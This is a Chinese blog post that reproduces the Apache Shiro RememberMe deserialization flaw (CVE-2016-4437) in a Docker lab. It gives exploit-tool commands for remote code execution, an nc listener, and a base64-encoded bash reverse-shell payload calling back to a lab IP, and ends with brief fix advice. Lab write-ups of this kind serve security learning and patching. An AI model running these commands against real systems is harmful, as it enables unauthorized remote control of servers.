apache shiro反序列化漏洞 (CVE-2016-4437)

环境搭建:
docker pull medicean/vulapps:s_shiro_1

工具:
https://github.com/insightglacier/Shiro_exploit


apche shiro简介:

Apache Shiro是一个功能强大且易于使用的Java安全框架,为开发人员提供了一个直观而全面的解决方案,用于身份验证、授权、加密和会话管理。


漏洞原理:

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值


漏洞复现:

1.在登录网页的时候可以抓包查看是否存在rememberme模块

 

发现shiro中的rememberme后可以直接上工具检测是否存在反序列化漏洞

 

2.shiroscan返回的结果是存在此漏洞,可以直接上shiro_exploit

 

 

 3.shiro_exploit的RCE

python3 shiro_exploit.py -t 3 -u http://192.168.5.137:8888 -p "touch test"

 

可以看见主机上直接生成了一个test的文件

 

4.shiro_exploit的反弹shell

在kali上打开nc监听

nc -lvp 6666

生成相应的payload

 

 继续在kali上输入命令

python3 shiro_exploit.py -t 3 -u http://192.168.5.137:8888 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTMwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

可以看到返回的shell

 

 

 

 

 

修复建议:

该漏洞的核心就是CipherKey的值,将编码改为动态形式并升级为最新shiro版本

 

 参考链接:

https://www.cnblogs.com/renhaoblog/p/12971152.html

https://cloud.tencent.com/developer/article/1657019

posted @ 2021-05-08 16:26  f1veseven  阅读(274)  评论(0编辑  收藏  举报